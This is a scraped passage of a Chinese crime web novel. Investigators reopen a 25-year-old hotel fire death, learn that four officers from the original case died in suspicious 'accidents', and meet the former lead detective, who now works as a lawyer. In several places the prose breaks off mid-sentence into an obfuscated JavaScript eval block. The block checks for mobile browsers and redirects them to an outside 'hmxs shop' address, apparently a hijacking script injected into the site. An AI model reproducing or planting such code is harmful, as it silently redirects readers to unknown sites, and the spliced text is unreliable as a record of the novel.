“哦。”梁星熠缩了缩脖子,认真回想片刻,然后摸着脑袋,无比真诚地反问原安道,“等等,原顾问,你刚刚问了什么问题来着?” 原安:“……” 此时的沉默,震耳欲聋。 最终,还是沈澈打破了这诡异的寂静。 他看向梁星熠,语气带着明显的引导,将话题重新导入正轨:“我记得我之前交代的是,调取全部卷宗,包括正卷、副卷及所有相关调查报告。你确定,这就是全部?” “哎呦喂,我的老大,你想啥呢你,还正卷、副卷及所有相关调查报告?”梁星熠一脸“你可真天真”的表情,“我告你,当年这个案子,办得那叫一个相当的不规范。从立案到结案,统共就只用了一个星期!” “我天哪,一个星期能做什么?一个基础摸排都做不完。就现在这几张调查报告,最后几页,还是我摸了几个别的相关案子的报告一起凑出来的。你还想什么正卷副卷呢?” 沈澈:“……” 原安:“……” 原安低下头,翻到了最后几页。 果不其然,一个毫不相关的“赵建国坠崖案调查报告”的大标题赫然其上。 原安:“……”好家伙,还真是凑的啊。 原安有些无语地看向梁星熠。 “呃,那啥,其实吧,也不全是无关的啦。”梁星熠似乎也意识到自己说漏嘴了,于是挠挠下巴,没有功劳也有苦劳式地开始续道:“我后来还是有跟屏江市局的警员们打探了一下。诶,你们知道吗?当年办这个案子的所有警员,从办案刑警到法医再到痕检再到内勤记录员,在结案后不久,全部调离了屏江市局。注意,是全部哦。” 说到这里,他抬手做了个抹脖子的动作,脸上是混不吝的认真:“我以我书架上那八百本西红柿小说来打赌,这案子要是没点猫腻,我就直播把它们全删了,不能恢复的那种!” 原安一脸迷茫:“……啊?” 八百本?西红柿小说? 这是什么新型赌注吗? “他是在发毒誓。”沈澈适时为她翻译,语气是早已习以为常的平淡无波,“那些小说是他的心头肉。全部删除,大概约等于把他目前所有的积蓄一夜清空的程度。” 他顿了顿,似乎觉得原安可能对于梁星熠的积蓄还是没有明确的概念,于是继续补充道:“这里面大概包括他从十二岁开始写代码、接私活攒下的私房钱,好不容易集齐所有装备的绝版账号,宝贝手办,还有他每个月雷打不动从工资里省出一部分做的基金定投。这些,全部,一夜之间归零的那种程度。” 原安:“……” 哦,那确实是很毒的誓了。 原安无比认同地点点头。 一旁的梁星熠却不淡定了:“老大,不带这么扒人老底的!” “行了,别贫了,”沈澈一个眼神递过去,制止了他蠢蠢欲动的喋喋不休,“说案子吧。” “哦。” 梁星熠挠挠头,表情一秒收敛。 他又认真思考了一会儿刚刚自己说到了哪里,然后俯下身,手指在笔记本电脑上翻飞。 随后,一个回车键按下,茶几角落的微型投影仪便将他电脑上的卷宗的扫描件,全部清晰地投射到对面早已落下的空白幕布上。 “我昨天大概顺了一下案件的时间线与基本案情。”谈及正事,梁星熠脸上戏谑尽褪,条理逐渐清晰起来,“这案子发生在二十五年前,地点是屏江当时的高档场所,吴门公馆。” “1999年1月25日晚7点左右,吴门公馆内308号房间突发大火,火势很猛。消防部门接警后迅速抵达现场,经两小时扑救,才控制住局面。随后在火场清理过程中,发现一具高度碳化的男性遗体。馆方当即报警。” “屏江市局接到报案后迅速出警。经调查,确认死者身份是当时首都大学材料系教授,沈翔。”梁星熠话语微顿,目光下意识瞟向沈澈。 沈澈面容平静,只淡淡道:“继续。” “后续调查显示,当时沈翔并非单独入住,与他同行的,还有他当时已处于孕晚期的女友原婉。有目击证人证实,二人在案发前关系稳定,并无明显矛盾。但在火灾发生后,原婉却直接失踪了。” “鉴于其具备作案时间与空间,且存在不明原因的失踪行为,屏江市局就将原婉列为该案重大嫌疑人。” “随后,市局部署大量警力搜寻原婉。直到六天后,才在白鹭桥下游岸边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“但是,”他话锋一转,随即抬起手,极其有范地虚虚在空中往下按了按,面上表情明明白白写着“我知道你很急,但你先别急”,表情瞬间变得前所未有的严肃,身体都不自觉地坐直了,“事情远远没有结束,我跟你港,之后发生的,才是真正的,丧、心、病、狂。” 他突然压低了声音,刻意营造出一种讲鬼故事的氛围,成功让房间内的空气都为之一凝。 原安与沈澈配合着安静了下来,静待梁星熠的下文。 “那个年代,吴门公馆算是屏江比较高档的酒店,里头住的都是些有头有脸的人物。火势一出,社会影响恶劣,舆论持续发酵,屏江市局高度重视,当即抽调精干力量,成立了一个调查小组,限期破案。” 梁星熠说着,操作鼠标,幕布上随之出现了五张极有年代感的黑白照片。 “这就是当时这个调查小组的全部成员。”他一边说着,一边移动光标,自上而下依次介绍,“组长谢临渊,法医江涛,痕检林薇薇,侦查员赵建国,还有内勤记录员王秀梅。” 介绍完毕,他沉默了两秒,才用一种近乎沉重的语气补充道:“但是,这个案子结案之后,除了组长谢临渊,剩下四名核心办案人员,都在很短的时间内,被陆续借调到了外地。而后,他们四个人就在结案后五年时间里,全部死亡。” 话音落地,一股无声的寒意瞬间在房间里弥漫开来。 20. 第 20 章 “全部死亡?”原安清冷的声音里透出一丝难以掩饰的震惊。 这四个字背后所代表的惨烈,远远超出了她的预想。 “是的,”梁星熠重重点头,脸上惯常的嬉笑褪得干干净净,取而代之的是一种混杂着愤怒与专注的凝重,“而且每一起都是‘意外’,是那种单看几乎完美到天衣无缝的意外。” 他边说边坐直身体,手指翻飞,从笔记本电脑上调出对应资料,投影在了对面的空白幕布上。 “这是当年负责给沈翔、原婉验尸的法医江涛。他是这四个人里死得最早、也是死得最惨的一个。” 原安转头,看向幕布。 照片上的男人约莫三十出头,文质彬彬,戴着黑框眼镜,镜片后的眼神冷静而专注。 “吴门公馆案结案后不到一周,他就被借调到邻市,协助宁州市局刑侦支队侦办一起流窜作案。”梁星熠语气沉凝,字字千钧,“在他抵达宁州市局的第五天,在前往石家村对一处嫌疑地点进行现场复勘时,被村民刘拐子有精神病史的二儿子刘二狗袭击,身中二十余刀,当场牺牲。” 这描述光听着就相当惨烈,沈澈都忍不住抬起了头。他翻阅着手中那份仅有一页的调查报告,目光最后停留在了结论栏里一句冰冷的“精神病患者突发性作案”。 “精神病患者突发性作案?”沈澈不禁觉得荒谬,“就这一句定性,连调查过程都没有?” “可不是嘛,简直离大谱了都。”梁星熠的音调也扬了起来,“所以我昨天气不过,直接跑了一趟宁州市局。也是我运气好,我一过去,就那么随便一问,就找到了当年和江法医一同出警的李警官。” “那个李警官和我说,当时复勘完现场,都已经是晚上了。他们本来还在商量着待会要不要回市局去加个班,就在这时候,村口刘拐子家的大门突然就开了。刘拐子那个常年有病、被关在仓库里的二儿子,不知道从哪个地方摸了一把水果刀,上来对着江法医就是一顿捅,出手那就一个快准狠。李警官好不容易把人撂倒,群众火速把江法医送去了医院。可是还是来不及,江法医在路上就咽气了。” “等等,你刚刚说,那个常年有病的刘二狗,是被关在仓库里的?”原安敏锐察觉出不对,“那么谁把他放出来的?谁给他开的门?谁给他递的刀?当时现场有两个警察,他为什么会这么目标明确地对着江法医就冲了过去?” “不造啊,就很离奇啊。”梁星熠道,“最诡异的是,那个刘二狗捅完人之后,自己当场就抹脖子死了,众目睽睽之下,直接来了个死无对证。简直了我去!” 沈澈听到这里,算是明白了为什么调查报告里只有这么一句简单的定性结论了。 他叹了口气,不再纠结,直接道:“下一个吧。” “下一个也是一样的情况啊。”梁星熠嘟囔了一句,按下回车键,于是幕布上的照片,就换成了一个年轻女警。 她扎着利落的马尾,眉目清丽,眼神明亮,透着一股技术人员的干练。 “这是当时调查小组里的痕检,林薇薇。她是这四个人里第二个出‘意外’的人。” 梁星熠道:“大概是在吴门公馆结案后半年吧,这位小姐姐被借调到了屏江市局下属的迦南县派出所。为了工作方便,小姐姐就在单位附近五百米的城中村里,租了一个小公寓。” “然后,她大概是到那儿的第二个月出的事情。据说那是一个周末。周末过完,周一上班,她同办公室的同事发现一贯准时的她那天竟然无故旷工,打她电话也没人接,大家就觉得不太对,下班之后,几个人就一起去了她的小公寓。结果就发现,她家房门根本没关,小姐姐直接倒在了公寓的客厅里,后脑被人用重物击打致死,家里的现金和首饰被洗劫一空。” “后来,警方根据现场痕迹和公寓监控,很快抓到了一个流窜作案的瘾君子。那人对自己见财起意、失手杀人的罪行供认不讳。于是这个案子就被定性为一场入室抢劫引发的悲剧。” “在派出所附近五百米的城中村入室抢劫?还抢到自家刑警的头上?呵,”沈澈嗤笑一声,语气冰冷,“迦南县派出所写这个结论的时候,自己都不觉得难堪啊?” “就是啊,我都替他们臊得慌!”梁星熠附和道,“这要是我,我写完报告当天就自挂东南枝了。” “行了,”沈澈揉揉眉心,“继续,下一个又是什么情况?” “下一个,呃,”梁星熠莫名有些欲言又止,“下一个就有点复杂了。” 沈澈:“?” 沈澈轻轻递了一个疑惑的眼神过去。 梁星熠摆摆手:“说不清楚,你自己看吧。” 他操作电脑,于是,空白幕布上的照片又是一换。 这次照片上的,是一个约莫五十多岁的中年男人,国字脸,眉骨很高,眼神锐利,一身正气。 “这是当年调查小组的侦查员,赵建国。他在林薇薇出事两年多后,于春节长假期间,失足坠崖身亡。”梁星熠切换图片,幕布上出现一组多个角度的登山鞋特写,“据说,他是资深登山爱好者,那年春节,他一个人去爬了屏江周边的小凤山,选的是一条行程大概两天一夜的、有一定风险的非景区路线。” “他是假期第三天出发,本来预计两天往返。但直到节后开工仍处于失联状态。于是家人就报了警。搜救队在山里搜寻三天,才在崖底找到遗体。官方调查后,除了发现他的登山鞋底有一处不自然的磨损外,别无异常。所以这件案子最终以意外结案。” 梁星熠说完,罕见地没有立刻点评,而是犹豫地开口道:“老大,这个案子,其实我私下找屏江市局档案室的老警官打听过,我看了一下当时所有现场照片。单从卷宗看,这确实像一场纯粹的意外。至少我没有看出来有什么不对。” 沈澈没有表态,只是将目光投向原安。 原安凝视着幕布上那双破损的登山鞋,沉默片刻,轻声道:“有时候,过于完美的事故现场,本身就是一个疑点。” 沈澈颔首,对梁星熠道:“继续,最后一个。” 梁星熠不知道他俩在打什么哑谜,于是默默按下回车,幕布上就出现了最后一张照片。 这是一位约莫五十岁的女警,面容温婉,书卷气很浓。 “这是当时调查小组的内勤记录员,王秀梅。她是四个人里年纪最大的一位,出事的时候距离光荣退休仅剩一个月。”梁星熠的声音低沉下去,“她是在办公室整理文件时突然晕倒,在送医途中去世的。尸体解剖后,法医给出的结论是,罕见的病毒性心肌炎急性发作。这病发作快,走得也快,倒是没受什么罪。” 说到这里,气氛不禁有些凝滞。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16528122|185168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 四条人命,四种看似毫无关联的完美意外,简直和一年前望海市局发生的三起非正常死亡案件,如出一辙。 或者更准确的说,前者是后者的雏形,后者是前者的升级。 而在这之间,还有多少起类似的、没有被人发现的“意外”?还有多少离奇离世的无辜人? 简直细思极恐,让人不寒而栗。 梁星熠松开鼠标,随手从旁边抓过一个抱枕,死死搂在怀里,仿佛这样才能汲取一点暖意。 他把自己整个人缩进了沙发里,之前的跳脱劲儿荡然无存,脸上只剩下一种后知后觉的苍白后怕。 “怎么了?”沈澈率先察觉出他的不对,关心问道。 “老大,我觉得好可怕啊。”梁星熠慢慢道,“四个人,还是四个警察,就这么被‘意外’了。做得这么天衣无缝,做得这么无声无息。如果不是今天我们重启旧案,如果不是今天我们把它们摆在一起看,那么,这四份调查报告,就是遗落在四个不同市的档案室里几页冰冷的纸,永远都不会有人知道他们为什么会死。” 梁星熠说到这里,声音都不自觉地抖了起来,听上去像是真的害怕极了。 但不论是沈澈还是原安都知道,梁星熠的这种恐惧并非出于懦弱,而是一种源于认知冲击的真实反应。 他从纸上看到的不仅是死亡,是一个庞大阴影如何悄无声息地抹杀一个人的存在。 “整整二十年,但凡有人提起他们四个,说到结局,都只会认为是他们运气不好,是他们遭遇了意外。没有人去替他们深究原因,没有人替他们深挖凶手。他们二十年前不明不白地死了一次,二十年间又不明不白地死了无数次,往后,他们还要不明不白死多少次?” “这二十年里,还有多少这样不明不白的案子,还有多少这样不明不白死去的人啊?” 说到这里,他突然就有点说不下去了。他把自己的半张脸埋进抱枕里,将自己缩成更小的一团。 “所以,我们不是来了吗?”沉默半晌,原安终于忍不住开口安慰。 于是抱枕后面默默探出了一双黑眼睛。 原安默默把目光投向了沈澈,暗示他接下去。 结果却得到了沈澈一个鼓励的眼神。 原安:“……” 她抿了抿,认真地开始思考。, 她觉得,这个时候不该和梁星熠说大道理,也不该要求他振作,更不该直接给他布置任务。 因为这些都没有用。 梁星熠这个时候,最需要的,应该是,是理解,是接纳,是被听见,是被认可。 就像酒店走廊那夜,她崩溃性解离发作时,沈澈对她所做的一切。 想到这里,她像是突然明白了什么似的,淡淡抬头看了一眼沈澈。 然后她看到,沈澈仿佛看透了她的心思一样,也用一种即鼓励又欣慰的眼神回望着她。 原安莫名觉得有些耳热,她垂下眼帘,避开沈澈的目光,将视线重新转回梁星熠的身上。 她温柔地看着他,那双总是清冷理性的杏眼里,此刻流露出一种深切的共情。 她柔柔开口,坚定地说:“我们既然来了,就绝不会让他们继续不明不白下去,也不会让更多人这样不明不白下去。” “这些公道,是时候该讨回来了。” 21. 第 21 章 梁星熠的情绪,来得快,去得也快。 在听完原安的安慰,又喝了一杯沈澈特意冲的热可可后,梁星熠自己就把自己哄好了。 “那就来吧!” 他豪情万丈地把喝空了的马克杯往旁边茶几上一拍,然后把他之前顺手推远了的笔记本电脑重新拖了回来,手指翻飞,把键盘敲得噼里啪啦响。 原安看着他这一副明显充饱电、甚至好像有些充过量的模样,有些不放心地抬眼看向沈澈。 然后,她就看到沈澈朝她递了个没事的眼神。 于是原安便也信任地安下心来。 三人转头,重新将视线投向了对面的幕布。 幕布上的照片已经在梁星熠的操作下,再次换了人。 原安的目光在触碰到照片的瞬间,便没来由地觉得眼前一亮。 照片上的男人眉目俊朗,线条利落,嘴唇轻抿,不见笑容。他就这样直直看着镜头,眼神疏离忧郁又沉静深邃,带着一丝不易觉察的审视感和淡淡的孤独感。 他整体略显清瘦,看起来并不像传统刑警那般体格健硕、气血充足。微微蹙起的眉宇间,明显锁着过于厚重的思绪。藏青色的旧式警服往他肩上一压,那股子来自体制内的纪律秩序,和来自灵魂深处的文艺疏离,瞬间在他身上碰撞出了一种奇特的张力。 莫名的,原安就生出了种找到同类的错觉。 她没忍住又多看了几眼,右手不自觉抬起,轻抵下颚。那双总是清冷的杏眼里,少见地浮现出一种好奇的探究。一种微妙的、连她自己都未曾察觉的亲近感,在她与照片中那个孤独的灵魂之间悄然滋生。 这些特殊的眼神变化,自然一个不落地被始终留心着她的沈澈尽收眼底。 沈澈不由轻轻咳嗽一声,声音不大不小,恰好拉回原安的注意力。 “怎么了,原顾问?”沈澈装作不经意开口问道,“这张照片有问题?” “啊,没有。”原安如梦初醒,看向沈澈,摇了摇头。她的手还抵在下颚,眼中还带着尚未敛去的好奇、欣赏、探究与共鸣。 她简单地回应完沈澈,随即又扭过头,视线重新回到了幕布的照片上:“我只是觉得,这个人看上去,似乎不太像警察。” 沈澈:“?” 沈澈不理解,但沈澈心中警笛大作。 一旁的梁星熠,作为和原安同时代的00后,一看原安表情,再结合原安的话,瞬间心领神会。 “哎呀,原姐姐,你这想法就狭隘啦,”梁星熠指指点点,“警察怎么就不能长得好看呢?” 他说到这里,抬手指了指坐在自己身旁的沈澈,明晃晃夹带私货推销道:“你看我们家老大,年轻多金长得帅,温柔体贴会来事,这不也一样上交国家、为人民服务了吗?这叫什么?这就叫做为崇高理想和社会正义奋斗终生。” 原安的心思都落在了幕布上的照片里,因此没注意到他话中暗搓搓的推销意思,只是单纯从字面意思上认为他误解了自己的想法,于是转过头,对着梁星熠摆摆手,笑着解释道:“你误会啦,我的意思是,这个人看上去并不适合当警察。” 梁星熠:“?” 于是,原安进一步解释道:“他的身上有一种与生俱来的文艺疏离感,乍看之下,若非那身警服,我几乎要以为他是同行。” 原安说到这里,目光不自觉地又挪了回去。她看着照片,似乎在分析照片中的人,又像是在剖析另一个自己。 “我觉得他本质上应该是个非常自由的人,即使身处系统之内,也从未想过要摒弃自己的本性。他固执叛逆,孤傲难驯,习惯于活在自己的世界里,绝不轻易向世俗低头。他的灵魂未经规训,不受束缚,有着非常明显的自我风格,是个拥有极致正义感的理想主义。” “这样性格的人,和传统的体质文化,是格格不入的,尤其还是警局这么个讲究规则、纪律和服从的地方。所以,我觉得,就算他最初是源于个人崇高的理想和内心深处的正义感,选择做了警察,但他最终应该还是会选择离开。因为那身警服所要求的集体主义和顾全大局,于他而言,本身就是一种压迫。” “哇!原姐姐,你看人好准啊。”梁星熠听完原安的话,彻底被带进原安的思路,一秒把安利他家老大的私心丢到了九霄云外。 “你说得没错。”梁星熠肯定道,“这人名叫谢临渊,是当时调查小组的组长及案件主要负责人,吴门公馆的案子结案后第二天,他就辞职走人了。” “我昨天特意在屏江市局打探了一下这哥们。哇,你是不知道,此人事迹,那才叫一个真正的‘哥虽早早退出了江湖,江湖遍地是哥的传说’,”说到这里,梁星熠莫名兴奋了起来,“据江湖传说,此人当年虽然性格不讨喜,但能力极强,年纪轻轻已经在整个公安系统里闯出了名气,大家私下里甚至称呼他是屏江市局最后的王牌。” “也是因为这样,当时吴门公馆的事情一出,市局领导就直接指派他来负责。再后来,此人在调查过程中,和上级领导吵了非常多次,最严重的一次,差点掀了领导的办公桌。最后在结案后第二天,这哥们把调查报告和辞职报告一递,直接卷铺盖走人了。” “其实吧,他当时离职的时候,几乎所有人都劝他不要意气用事,毕竟,那个时候,如果他不辞职,马上就要晋升成刑侦支队长了。但就后来他的组员的情况来看吧,”梁星熠说到这里,不由顿了顿,摸摸下巴,纠结了一会儿,才续道,“恩……虽然这么说有点不道德哦,但有没有一种可能,就是因为他辞职了,所以,反而成了整个调查小组里唯一一个活到现在的人。” 这话简直让人不寒而栗。 沈澈问道:“梁星熠,能查到这个谢临渊现在在哪里,又在从事什么职业吗?” “哎呀老大,我就知道你要这么问。”梁星熠眼一斜,嘴一翘,得意洋洋道,“所以呀,我昨天在屏江市局的时候,就已经找人套话啦。” 他一边说着,一边在笔记本电脑上快速操作,最后一敲回车键,幕布上谢临渊的证件照就被缩小移至左侧,右侧则多了一张名为“衡平法律事务所”的前台区域的实景照片。 “当当当当,就这里了。”梁星熠眉梢挑起,得意洋洋,一脸“快夸我”的表情,对沈澈道,“这个谢临渊辞职之后,在家里蹲了两年,思考人生。后来,他去考了司法考试,通过之后,就转行做了律师。一路摸爬滚打,现在已经是这家衡平法律事务所的合伙人之一了。” “律师啊。”原安摸摸下巴。 还真是个意料之外情理之中的选择呢。 “梁星熠,去约一下吧。”沈澈的目光在幕布上两张照片之间逡巡片刻,最终停在了左侧谢临渊二十五年前的证件照上,“明天,我们去见见这个谢律师。” 翌日上午九点。 衡平法律事务所虽然地处市中心的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16551461|185168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' CBD,但距离缙兰酒店却只有十分钟的车程。 此时正值早高峰时段,CBD里来来往往的都是职业白领。他们衣着精致,行色匆匆,从地铁站里涌出,四散,而后重新集聚,汇入不同高楼。 沈澈将车停好,三人一道下车。 他们走进其中一栋写字楼,按照指示牌,乘坐电梯直达25层。 一出电梯,就看到了衡平法律事务所的招牌。 梁星熠非常自觉地走向前台,拿出自己的证件,递给前台小姐姐,笑眯眯甜甜道:“姐姐你好,我叫梁星熠,昨天下午曾经和你们通过电话,预约了今天上午九点谢临渊律师的咨询时间。” “好的,请稍等。” 前台回以一个温柔的笑容,随即低下头,熟练地操作电脑。 在确认预约信息无误后,她打了个内部电话,小声请示。 很快,她便挂了电话,脸上簇起职业笑容,起身道:“谢律师已经在办公室里等候各位了,请随我这边来。” 她并未将他们引向开放的办公区,而是脚步一转,带着他们折返回了电梯厅。 随后,她用自己的门禁卡激活了旁边一部专属电梯,带着他们走了进去。 她在电梯里又刷了一次卡,这才按下了26层的按钮。而后,她略带歉意解释道:“抱歉,我们谢律师主要处理刑事案件,出于安全和保密的需要,所以他的办公室是独立的楼层,需要专门的权限才能进入。请谅解。” 三人对此后的真实原因心知肚明。 沈澈和原安微笑颔首,表示理解。梁星熠则大大方方摆摆手,笑眯眯直言道:“哎,没事没事,理解理解。刑辩嘛,那必须得格外谨慎呀。” 几句话的工夫,电梯已然到达26楼。前台小姐姐先一步走了出去,带着他们向走廊尽头的办公室走去。 谢临渊果然已经坐在了办公室会客区的长条沙发上。 他穿着一身松松垮垮的白色西装,底端扣子散着,也没有系领带,内里白衬衫随意地解开了最上边的两颗扣子,整个人看上去十分潇洒落拓。 只一眼,原安就看明白了。 即使过了二十五年,这个谢临渊还是一点儿都没变。他还是如照片上一般,疏离桀骜不合群,喜欢独来独往,游离于人群之外。 唯一的差别,大概就是,如今的他已经可以随心所欲地做自己,再也不用被那一身警服所带来的责任规则所约束。 她看着那双沉静深邃的眼睛,虽然依旧疏离忧郁,但蕴含在眼底深处那份神采,让他整个人由内而外透出一股精神气。这股心气,让他这样一个已过半百的人,看上去顶多四十来岁,再配上他与生俱来的精悍随性,潇洒不羁,一眼望去,像个型男。 前台小姐姐领着他们进来的时候,谢临渊正坐在会客厅单人沙发上泡茶。见他们来了也没有刻意起身去迎,只是对着一旁的长条沙发潇洒一扬手,招呼道:“请坐。” 沈澈三人也不扭捏,各自捡了位置坐下。 办公室内茶香袅袅,谢临渊略微起身,将三杯沏好的清茶依次推至他们面前,动作行云流水,一气呵成。 然而,当他重新坐回座位,抬起眼,目光依次扫过三人时,那份闲适骤然消失。 那不是律师见客户时的眼神,而是刑警审视外来者的本能。 仅此一眼,就足以证明,那个昔日屏江市局最后的王牌,从未消失。 22. 第 22 章 谢临渊的目光按照座位顺序,依次划过长条沙发上的梁星熠和原安,最终落在了距离他最远、坐在他正对面的单人沙发上的沈澈身上。 他几乎一眼就锁定了沈澈才是这场会面的主导者,即使之前通过前台和他预约的人是梁星熠。 他收回视线,端起茶杯,缓缓向后靠进沙发,慵懒开口:“之前听梁警官说,专案组这次专门来屏江找我,是因为在复核一批屏江地区的陈年旧案的时候,遇到了一些细节问题。虽然我早年确实曾在市局工作,但那都已经是二十多年前的事情了。有些案子,我未必记得很清楚。” 这话说得实在有些场面。看来这二十多年的时间,到底还是让曾经的孤狼学会了斡旋和打太极。 但沈澈不想让事情始终浮于表面,于是,不再客套,开门见山直接定性。 “这起案子你一定有印象。”沈澈道,“因为我们想要了解的,是二十五年前,发生在吴门公馆和白鹭桥下的谋杀案。” “谋杀案”三个字一出,瞬间刺破了满室表面的平和。 谢临渊喝茶的动作彻底顿住,白瓷茶杯硬生生停在了嘴边。 不得不说,沈澈这招率先定性,确实在第一时间引起了他的注意。 即使明知道沈澈是在钓他,可单是冲着谋杀案这三个字,他还是不由自主想要上钩。 谢临渊缓缓放下茶杯,白瓷杯底与玻璃茶几接触,发出“叩”的一声轻响,在寂静的办公室里显得格外清晰。 他抬眼看向沈澈,周身那股慵懒的气质瞬间褪去,整个人如同缓缓出鞘的妖刀,气场变得锐利而冰冷。 “你是什么人?”他缓缓开口,声音里不再是之前虚伪的客套,只剩下纯粹的审视。 “远洲集□□列特大犯罪专案组组长,沈澈。这是我的证件。” 沈澈说着,从西装内袋里拿出自己的证件,递给坐在一旁的原安。 原安接过,转交给了身边的梁星熠,而梁星熠又将它转递给了谢临渊。 谢临渊却没有接。 他抬起手,对着梁星熠伸手的方向略微一挡。 那是一个充满拒绝和不信任感的动作。 梁星熠抿了抿唇,讪讪收回了手。 他捧着沈澈的证件,坐在原地,莫名有些不知所措。 但显然,正处在风暴中心交锋的两个男人,没有一个人关心他的不知所措。 谢临渊盯着沈澈,直接略过无谓的寒暄,犀利开口:“你姓沈,你和沈翔,什么关系?” 这个问题还真是即直接又尖锐。 沈澈微微蹙眉,看来,这个谢临渊,比他想象的还要敏锐。 “沈翔是我的叔叔。”沈澈迎着那道充满审视的目光,如实道,“我此番前来,就是为了查清当年两起谋杀案的真相,还死者一个公道。” “呵。” 这话直接给谢临渊听笑了。 那笑声里没有暖意,只有无尽的讽刺。 他看着沈澈。那双疏离深邃的眼睛里,瞬间翻涌起许多复杂难辨的情绪。 “沈组长,我请问呢,二十五年前,你所说的,吴门公馆和白鹭桥下,哪有发生过什么谋杀案啊?” 谢临渊言辞犀利而精准,带着法律人特有的一阵见血:“你口中所谓的‘谋杀案’,在当年的系统里,从来就没有存在过。官方档案里对此的记录,是一起经过调查、最终以自杀结论结案的普通非正常死亡事件。” 他说到这里,身体前倾,目光如炬:“所以,你真正想要做的,不是重启一个不存在的谋杀案,而是想要以发现新证据、新事实为由,申请推翻一桩二十五年前就已有定论的旧案结论,并就此立一起全新的、针对他杀的刑事案件。” “那么问题就来了,”他的话语在这里形成一个沉重的停顿,“沈组长,你告诉我,你所谓的新证据、新事由在哪里?” “原始案发现场早已灰飞烟灭,关键物证荡然无存,沈翔和原婉的尸体在当年就被你们沈家人拿去火化了。就连我的四位组员,”他说到这里,声音里染上一丝不易察觉的颤抖与悲痛,但很快就被他压制了下去,“就连我的四位组员,也都在结案后的五年时间里,陆陆续续,因为各种完美的意外,全部殉职了。” 他最终看向沈澈,所有的情绪最终化成了近乎残酷的冷静,语气轻描淡写,却字字诛心:“所以,沈组长,你现在明白了吗?这个案子,早就不是你想查就能查得到了了。这个案子,早在你们沈家当年选择沉默、放任案子被定性为自杀的时候,所有可能实现程序正义的途径,就已经被你们自己亲手堵死了。” 沈澈不说话了。 不是不想,而是不能。 作为一个沈家人,半个亲历者,没有人比他更清楚,当年沈家在处理沈翔的事情上有多消极,对于家族内部所有成员要求缄口的态度又有多强硬。 而就在他们沈家如此不做人的时候,那些办案刑警依然拼尽全力为他叔叔讨要公道,甚至付出了生命的代价。 这件事,于情于理,于公于私,错在沈家。 这个时候,一个沈家人,无论是开口要求、开口道歉,还是开口辩解,对于那些已经发生过的事实,都是一种亵渎。 他能做的,只有全盘接纳和全部承受。 谢临渊其实也没比沈澈好受多少。 那些伤人的话,如同一把双刃剑,重伤沈澈的同时,也重伤了他自己。 他忍不住又想到了当年,那个相信系统,相信法律,相信能够以自己的力量在规则内荡清一切污浊的年轻的自己。 那时候的他,是个怀抱正义的极致的理想主义。他很清楚自己渴望绝对的自由与纯粹的正义,但那身警服却又要求他必须融入集体、遵守纪律。 他以为自己能够平衡好这一切,毕竟从警是那个时候的他,所能想到的,普通人践行心中绝对正义的唯一路径。 但现实却给了他惨痛一击。 沈翔和原婉的案子,是他心中理想国崩塌的开始。在那为期一周的调查中,他亲眼目睹舆论如何扭曲真相,权力如何颠倒黑白。他无比深刻的意识到,在精心编制的阴谋面前,警察的身份宛如束缚,在绝对的金钱、地位、权力的博弈中,人命无足轻重,正义不堪一击。 所以,他选择了辞职出走,不是赌气或者意气用事,只是为了与曾经天真的自我和僵化的系统彻底决裂。 他一直以为这大概就是终点了,可是谁能想到,沈翔原婉案子的结案竟然只是另一起悲剧的起点。 他在市局里仅有的能够理解他的朋友,那四个愿意与他并肩对抗阴谋的组员,在之后的五年里,陆续意外身亡。 而那个最该死的、被迫屈服、提笔写下了结案报告的他,却成了唯一一个苟活至今的人。 真是讽刺! 算了,就这样吧。 谢临渊垂下眼,手指颤抖,摸向茶几。 他重新端起那杯尚未饮尽的茶,送到嘴边,让已经凉透了的茶水,顺着喉管顺流而下,慢慢浇灭心头怒火和无尽悲凉。 就这样给自己一盏茶的功夫,放纵情绪,放肆任性。 一盏茶后,他又是那个潇洒不羁的谢律师。 原安坐在长条沙发上,看着坐在单人沙发上的两个男人一路刀光剑影,唇枪舌剑,最终沉默无语,两败俱伤。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16561714|185168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微微垂下了眼,脑子飞快转动。 她知道这个时候,自己必须要做点什么、说点什么,来挽救一下这个已经走入死胡同的局面。 否则,以谢临渊的性格,他们此行不但要无功而返,往后想要再见谢临渊,只怕很难了。 